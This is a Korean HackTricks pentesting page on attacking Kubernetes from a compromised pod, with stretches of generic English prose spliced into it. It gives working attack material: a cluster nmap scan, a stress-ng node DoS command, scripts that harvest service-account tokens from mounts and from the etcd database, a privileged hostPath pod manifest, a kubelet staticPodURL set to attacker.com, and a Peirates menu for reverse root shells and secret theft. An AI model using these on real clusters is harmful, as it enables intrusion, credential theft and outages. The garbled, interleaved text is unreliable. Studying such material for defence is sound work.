Attacking Kubernetes from inside a Pod

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 제로부터 전문가까지 배우세요

HackTricks를 지원하는 다른 방법:

Pod 탈출

운이 좋다면 이를 통해 노드로 탈출할 수도 있습니다:

파드로부터 탈출

파드에서 탈출하려면 먼저 권한 상승이 필요할 수 있습니다. 이를 수행하기 위한 몇 가지 기술:

컴프라마이즈된 파드에서 탈출을 시도하기 위한 도커 탈출을 확인할 수 있습니다:

Kubernetes 권한 남용

Kubernetes 열거 섹션에서 설명한 대로:

pageKubernetes Enumeration

일반적으로 파드는 내부에 서비스 계정 토큰이 함께 실행됩니다. 이 서비스 계정에는 남용할 수 있는 권한이 부여될 수 있으며, 이를 통해 다른 파드로 이동하거나 클러스터 내에서 구성된 노드로 탈출할 수 있습니다. 자세한 내용은 다음을 확인하세요:

pageAbusing Roles/ClusterRoles in Kubernetes

클라우드 권한 남용

파드가 클라우드 환경에서 실행된다면 메타데이터 엔드포인트에서 토큰을 노출하고 이를 사용하여 권한을 상승할 수 있습니다.

취약한 네트워크 서비스 검색

Kubernetes 환경 내부에 있으므로 현재 파드의 권한을 남용하여 권한을 상승시키거나 컨테이너를 탈출할 수 없는 경우 잠재적으로 취약한 서비스를 찾아야합니다.

서비스

이를 위해 Kubernetes 환경의 모든 서비스를 가져오려고 할 수 있습니다:

kubectl get svc --all-namespaces

기본적으로 Kubernetes는 평면 네트워킹 스키마를 사용하므로 클러스터 내의 모든 pod/service가 서로 통신할 수 있습니다. 클러스터 내의 네임스페이스기본적으로 네트워크 보안 제한이 없습니다. 네임스페이스 내의 누구나 다른 네임스페이스와 통신할 수 있습니다.

스캐닝

다음 Bash 스크립트( Kubernetes workshop에서 가져옴)는 Kubernetes 클러스터의 IP 범위를 설치하고 스캔합니다:

sudo apt-get update
sudo apt-get install nmap
nmap-kube ()
{
nmap --open -T4 -A -v -Pn -p 80,443,2379,8080,9090,9100,9093,4001,6782-6784,6443,8443,9099,10250,10255,10256 "${@}"
}

nmap-kube-discover () {
local LOCAL_RANGE=$(ip a | awk '/eth0$/{print $2}' | sed 's,[0-9][0-9]*/.*,*,');
local SERVER_RANGES=" ";
SERVER_RANGES+="10.0.0.1 ";
SERVER_RANGES+="10.0.1.* ";
SERVER_RANGES+="10.*.0-1.* ";
nmap-kube ${SERVER_RANGES} "${LOCAL_RANGE}"
}
nmap-kube-discover

다음 페이지를 확인하여 Kubernetes 특정 서비스를 공격하여 다른 팟/환경 전체를 침해하는 방법을 배울 수 있습니다:

pagePentesting Kubernetes Services

스니핑

침해당한 팟이 민감한 서비스를 실행하는 경우 다른 팟이 인증해야 하는 경우, 로컬 통신을 스니핑하여 다른 팟에서 보낸 자격 증명을 획득할 수 있을 수 있습니다.

네트워크 스푸핑

기본적으로 ARP 스푸핑과 (그로 인한 DNS 스푸핑 덕분에) 같은 기법이 Kubernetes 네트워크에서 작동합니다. 그런 다음, 팟 내에서, NET_RAW 능력이 있는 경우 (기본적으로 제공됨), 사용자 정의로 제작된 네트워크 패킷을 보내고 동일 노드에서 실행 중인 모든 팟에 대해 ARP 스푸핑을 통한 MitM 공격을 수행할 수 있습니다. 게다가, 악의적인 팟DNS 서버와 동일한 노드에서 실행 중인 경우, 클러스터의 모든 팟에 대해 DNS 스푸핑 공격을 수행할 수 있습니다.

pageKubernetes Network Attacks

노드 DoS

Kubernetes 매니페스트에는 자원에 대한 명시가 없으며, 컨테이너에 대한 적용된 제한 범위가 없습니다. 공격자로서, 팟/배포가 실행 중인 자원을 모두 소비하여 다른 자원을 고갈시키고 환경에 대한 DoS를 유발할 수 있습니다.

이는 stress-ng와 같은 도구를 사용하여 수행할 수 있습니다:

stress-ng --vm 2 --vm-bytes 2G --timeout 30s

당신은 stress-ng를 실행하는 동안과 그 후의 차이를 볼 수 있습니다.

kubectl --namespace big-monolith top pod hunger-check-deployment-xxxxxxxxxx-xxxxx

노드 포스트 익스플로잇레이션

만약 컨테이너에서 탈출에 성공했다면 노드에서 다음과 같은 흥미로운 사항을 발견할 수 있습니다:

  • 컨테이너 런타임 프로세스 (도커)

  • 이 컨테이너와 같이 남은 팟/컨테이너들 (더 많은 토큰)

  • 전체 파일 시스템OS

  • 수신 대기 중인 Kube-Proxy 서비스

  • 수신 대기 중인 Kubelet 서비스. 구성 파일 확인:

    • 디렉토리: /var/lib/kubelet/

    • /var/lib/kubelet/kubeconfig

    • /var/lib/kubelet/kubelet.conf

    • /var/lib/kubelet/config.yaml

    • /var/lib/kubelet/kubeadm-flags.env

    • /etc/kubernetes/kubelet-kubeconfig

  • 다른 쿠버네티스 공통 파일:

    • $HOME/.kube/config - 사용자 구성

    • /etc/kubernetes/kubelet.conf- 일반 구성

    • /etc/kubernetes/bootstrap-kubelet.conf - 부트스트랩 구성

    • /etc/kubernetes/manifests/etcd.yaml - etcd 구성

    • /etc/kubernetes/pki - 쿠버네티스 키

노드 kubeconfig 찾기

이전에 언급된 경로 중 어디에서도 kubeconfig 파일을 찾을 수 없다면, kubelet 프로세스의 인수 --kubeconfig을 확인하세요:

ps -ef | grep kubelet
root        1406       1  9 11:55 ?        00:34:57 kubelet --cloud-provider=aws --cni-bin-dir=/opt/cni/bin --cni-conf-dir=/etc/cni/net.d --config=/etc/kubernetes/kubelet-conf.json --exit-on-lock-contention --kubeconfig=/etc/kubernetes/kubelet-kubeconfig --lock-file=/var/run/lock/kubelet.lock --network-plugin=cni --container-runtime docker --node-labels=node.kubernetes.io/role=k8sworker --volume-plugin-dir=/var/lib/kubelet/volumeplugin --node-ip 10.1.1.1 --hostname-override ip-1-1-1-1.eu-west-2.compute.internal

비밀 유출

# Check Kubelet privileges
kubectl --kubeconfig /var/lib/kubelet/kubeconfig auth can-i create pod -n kube-system

# Steal the tokens from the pods running in the node
# The most interesting one is probably the one of kube-system
ALREADY="IinItialVaaluE"
for i in $(mount | sed -n '/secret/ s/^tmpfs on \(.*default.*\) type tmpfs.*$/\1\/namespace/p'); do
TOKEN=$(cat $(echo $i | sed 's/.namespace$/\/token/'))
if ! [ $(echo $TOKEN | grep -E $ALREADY) ]; then
ALREADY="$ALREADY|$TOKEN"
echo "Directory: $i"
echo "Namespace: $(cat $i)"
echo ""
echo $TOKEN
echo "================================================================================"
echo ""
fi
done

스크립트 can-they.sh은 자동으로 다른 팟의 토큰을 가져와 권한을 확인하여 원하는 권한이 있는지 확인합니다 (1대1로 확인하는 대신):

./can-they.sh -i "--list -n default"
./can-they.sh -i "list secrets -n kube-system"// Some code

특권 DaemonSets

DaemonSet은 클러스터의 모든 노드에서 실행될 입니다. 따라서 특권 서비스 계정으로 구성된 DaemonSet이 있다면, 모든 노드에서 해당 특권 서비스 계정의 토큰을 악용할 수 있습니다.

이 취약점은 이전 섹션과 동일하지만, 이제 운에 의존하지 않습니다.

클라우드로 Pivot

클러스터가 클라우드 서비스로 관리되는 경우, 노드는 Pod와는 다른 메타데이터 엔드포인트에 액세스할 수 있습니다. 따라서 노드에서 메타데이터 엔드포인트에 액세스하려고 시도하십시오 (또는 hostNetwork가 True로 설정된 팟에서):

pageKubernetes Pivoting to Clouds

etcd 도용

컨테이너를 실행할 노드의 nodeName를 지정할 수 있다면, 제어 플레인 노드 내에서 쉘을 획들하고 etcd 데이터베이스를 가져옵니다:

kubectl get nodes
NAME                STATUS   ROLES    AGE   VERSION
k8s-control-plane   Ready    master   93d   v1.19.1
k8s-worker          Ready    <none>   93d   v1.19.1

control-plane 노드는 마스터 역할을 갖고 있으며 클라우드 관리 클러스터에서는 해당 노드에서 아무 것도 실행할 수 없습니다.

etcd에서 시크릿 읽기

팟 스펙에서 nodeName 셀렉터를 사용하여 컨트롤 플레인 노드에서 팟을 실행할 수 있다면, 클러스터의 모든 구성물 및 모든 시크릿을 포함하는 etcd 데이터베이스에 쉽게 액세스할 수 있습니다.

아래는 현재 작업 중인 컨트롤 플레인 노드에서 실행 중인 etcd에서 시크릿을 가져오는 빠르고 간단한 방법입니다. etcdctl 클라이언트 유틸리티를 사용하여 팟을 생성하고 해당 팟을 사용하여 어디에서든 실행 중인 etcd에 연결하는 컨트롤 플레인 노드 자격 증명을 사용하는 더 우아한 솔루션을 원한다면, @mauilion의 이 예제 매니페스트를 확인하세요.

컨트롤 플레인 노드에서 etcd가 실행 중인지 확인하고 데이터베이스가 어디에 있는지 확인합니다 (이는 kubeadm으로 생성된 클러스터에서 진행됩니다)

root@k8s-control-plane:/var/lib/etcd/member/wal# ps -ef | grep etcd | sed s/\-\-/\\n/g | grep data-dir

Attacking Kubernetes from Inside a Pod

Introduction

When an attacker gains access to a Kubernetes pod, either through a compromised container or by exploiting a vulnerability, they can leverage this access to further compromise the entire Kubernetes cluster. This article explores various techniques that an attacker can use to escalate privileges and move laterally within a Kubernetes cluster from inside a pod.

Escalating Privileges

Accessing the Kubernetes API

Once inside a pod, an attacker can attempt to access the Kubernetes API server using service account tokens mounted inside the pod. By default, pods have service account tokens that allow them to authenticate with the Kubernetes API. If the attacker can access these tokens, they can interact with the API server and potentially perform malicious actions.

Exploiting Kubernetes RBAC

If the pod has excessive permissions granted through Kubernetes Role-Based Access Control (RBAC) policies, the attacker can abuse these permissions to escalate their privileges within the cluster. For example, if a pod has permissions to create or modify resources across namespaces, the attacker can exploit this to gain more control over the cluster.

Moving Laterally

Pod Hopping

Once inside a pod, the attacker can move laterally by hopping from one pod to another within the same node or across different nodes in the cluster. This can be achieved by leveraging Kubernetes API access to discover and interact with other pods, potentially spreading the attack across multiple parts of the cluster.

Exploiting Kubernetes Networking

By exploiting misconfigurations in Kubernetes networking policies, an attacker can attempt to communicate with pods running on different nodes or in different namespaces. This can help the attacker move laterally and reach sensitive parts of the cluster that would otherwise be isolated.

Conclusion

Securing Kubernetes clusters requires not only protecting the external attack surface but also considering the internal threats that can arise from compromised pods. By understanding how attackers can escalate privileges and move laterally within a cluster, organizations can better defend against such attacks and ensure the security of their Kubernetes deployments.

data-dir=/var/lib/etcd

etcd 데이터베이스의 데이터 보기:

strings /var/lib/etcd/member/snap/db | less

데이터베이스에서 토큰을 추출하고 서비스 계정 이름을 표시합니다

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done

동일한 명령어이지만 kube-system 네임스페이스에서 기본 토큰만 반환하도록 일부 greps를 추가합니다

db=`strings /var/lib/etcd/member/snap/db`; for x in `echo "$db" | grep eyJhbGciOiJ`; do name=`echo "$db" | grep $x -B40 | grep registry`; echo $name \| $x; echo; done | grep kube-system | grep default

Attacking Kubernetes from Inside a Pod

Introduction

When an attacker gains access to a Kubernetes pod, they are already inside the cluster and can potentially access other pods and resources. This section covers some techniques that an attacker can use to escalate privileges and move laterally within the cluster.

Accessing the Kubernetes API

Once inside a pod, an attacker can access the Kubernetes API using the pod's service account token. This can allow them to gather information about the cluster, create or delete resources, and perform other malicious activities.

Mounting Host Paths

By mounting host paths into a pod, an attacker can access sensitive files and directories on the host machine. This can lead to further privilege escalation and compromise of the entire cluster.

Exploiting Misconfigurations

Attackers can exploit misconfigurations in pod security policies, network policies, and other Kubernetes configurations to gain additional privileges and access within the cluster.

Summary

When an attacker compromises a Kubernetes pod, they can leverage various techniques to further infiltrate the cluster and carry out malicious activities. It is crucial for organizations to secure their Kubernetes clusters and regularly audit for any vulnerabilities that could be exploited by attackers.

1/registry/secrets/kube-system/default-token-d82kb | eyJhbGciOiJSUzI1NiIsImtpZCI6IkplRTc0X2ZP[REDACTED]

정적/거울화된 파드 지속성

_정적 파드_는 API 서버가 관찰하지 않고 특정 노드의 kubelet 데몬에 의해 직접 관리됩니다. (예: 배포와 같이) kubelet는 각 정적 파드를 감시하며 실패 시 다시 시작합니다.

따라서 정적 파드는 항상 특정 노드의 하나의 Kubelet에 바인딩됩니다.

kubelet은 각 정적 파드에 대해 Kubernetes API 서버에 미러 파드를 자동으로 생성하려고 시도합니다. 이는 노드에서 실행 중인 파드가 API 서버에서 볼 수 있지만 거기서 제어할 수 없다는 것을 의미합니다. 파드 이름은 노드 호스트 이름과 선행 하이픈이 붙은 접미사가 될 것입니다.

정적 파드의 spec은 다른 API 객체를 참조할 수 없습니다 (예: ServiceAccount, ConfigMap, Secret 등). 따라서 현재 노드에서 임의의 serviceAccount로 파드를 시작하여 클러스터를 침해할 수는 없습니다. 그러나 이를 사용하여 다른 네임스페이스에서 파드를 실행할 수는 있습니다 (필요한 경우).

노드 호스트 내부에 있다면 자체 내부에 정적 파드를 생성하도록 만들 수 있습니다. 이는 kube-system과 같은 다른 네임스페이스에 파드를 생성할 수 있게 해줄 수 있습니다.

정적 파드를 생성하려면 문서가 큰 도움이 됩니다 . 기본적으로 2가지가 필요합니다:

  • kubelet 서비스 또는 kubelet 구성에서 --pod-manifest-path=/etc/kubernetes/manifests 매개변수를 구성하고 서비스를 다시 시작합니다 (staticPodPath)

  • **/etc/kubernetes/manifests**의 파드 정의에 정의를 생성합니다.

더 은밀한 방법은 다음과 같습니다:

  • kubelet 구성 파일에서 staticPodURL 매개변수를 수정하고 staticPodURL: http://attacker.com:8765/pod.yaml과 같이 설정합니다. 이렇게 하면 kubelet 프로세스가 지정된 URL에서 구성을 가져와 정적 파드를 생성하게 됩니다.

다음은 여기 에서 가져온 kube-system에 권한이 있는 파드를 생성하는 예시입니다:

apiVersion: v1
kind: Pod
metadata:
name: bad-priv2
namespace: kube-system
spec:
containers:
- name: bad
hostPID: true
image: gcr.io/shmoocon-talk-hacking/brick
stdin: true
tty: true
imagePullPolicy: IfNotPresent
volumeMounts:
- mountPath: /chroot
name: host
securityContext:
privileged: true
volumes:
- name: host
hostPath:
path: /
type: Directory

포드 삭제 + 스케줄할 수 없는 노드

만약 공격자가 노드를 침투했고, 다른 노드에서 포드를 삭제하고 다른 노드가 포드를 실행할 수 없게 만들 수 있다면, 해당 포드는 침투된 노드에서 다시 실행되며, 그는 그들에서 실행된 토큰을 탈취할 수 있을 것입니다. 자세한 정보는 이 링크를 참고하세요.

자동 도구

Peirates v1.1.8-beta by InGuardians
https://www.inguardians.com/peirates
----------------------------------------------------------------
[+] Service Account Loaded: Pod ns::dashboard-56755cd6c9-n8zt9
[+] Certificate Authority Certificate: true
[+] Kubernetes API Server: https://10.116.0.1:443
[+] Current hostname/pod name: dashboard-56755cd6c9-n8zt9
[+] Current namespace: prd
----------------------------------------------------------------
Namespaces, Service Accounts and Roles |
---------------------------------------+
[1] List, maintain, or switch service account contexts [sa-menu]  (try: listsa *, switchsa)
[2] List and/or change namespaces [ns-menu] (try: listns, switchns)
[3] Get list of pods in current namespace [list-pods]
[4] Get complete info on all pods (json) [dump-pod-info]
[5] Check all pods for volume mounts [find-volume-mounts]
[6] Enter AWS IAM credentials manually [enter-aws-credentials]
[7] Attempt to Assume a Different AWS Role [aws-assume-role]
[8] Deactivate assumed AWS role [aws-empty-assumed-role]
[9] Switch authentication contexts: certificate-based authentication (kubelet, kubeproxy, manually-entered) [cert-menu]
-------------------------+
Steal Service Accounts   |
-------------------------+
[10] List secrets in this namespace from API server [list-secrets]
[11] Get a service account token from a secret [secret-to-sa]
[12] Request IAM credentials from AWS Metadata API [get-aws-token] *
[13] Request IAM credentials from GCP Metadata API [get-gcp-token] *
[14] Request kube-env from GCP Metadata API [attack-kube-env-gcp]
[15] Pull Kubernetes service account tokens from kops' GCS bucket (Google Cloudonly) [attack-kops-gcs-1]  *
[16] Pull Kubernetes service account tokens from kops' S3 bucket (AWS only) [attack-kops-aws-1]
--------------------------------+
Interrogate/Abuse Cloud API's   |
--------------------------------+
[17] List AWS S3 Buckets accessible (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls]
[18] List contents of an AWS S3 Bucket (Make sure to get credentials via get-aws-token or enter manually) [aws-s3-ls-objects]
-----------+
Compromise |
-----------+
[20] Gain a reverse rootshell on a node by launching a hostPath-mounting pod [attack-pod-hostpath-mount]
[21] Run command in one or all pods in this namespace via the API Server [exec-via-api]
[22] Run a token-dumping command in all pods via Kubelets (authorization permitting) [exec-via-kubelet]
-------------+
Node Attacks |
-------------+
[30] Steal secrets from the node filesystem [nodefs-steal-secrets]
-----------------+
Off-Menu         +
-----------------+
[90] Run a kubectl command using the current authorization context [kubectl [arguments]]
[] Run a kubectl command using EVERY authorization context until one works [kubectl-try-all [arguments]]
[91] Make an HTTP request (GET or POST) to a user-specified URL [curl]
[92] Deactivate "auth can-i" checking before attempting actions [set-auth-can-i]
[93] Run a simple all-ports TCP port scan against an IP address [tcpscan]
[94] Enumerate services via DNS [enumerate-dns] *
[]  Run a shell command [shell <command and arguments>]

[exit] Exit Peirates
영웨어 해킹을 제로부터 영웨어 전문가로 배우세요 htARTE (HackTricks AWS Red Team Expert)!

HackTricks를 지원하는 다른 방법:

最終更新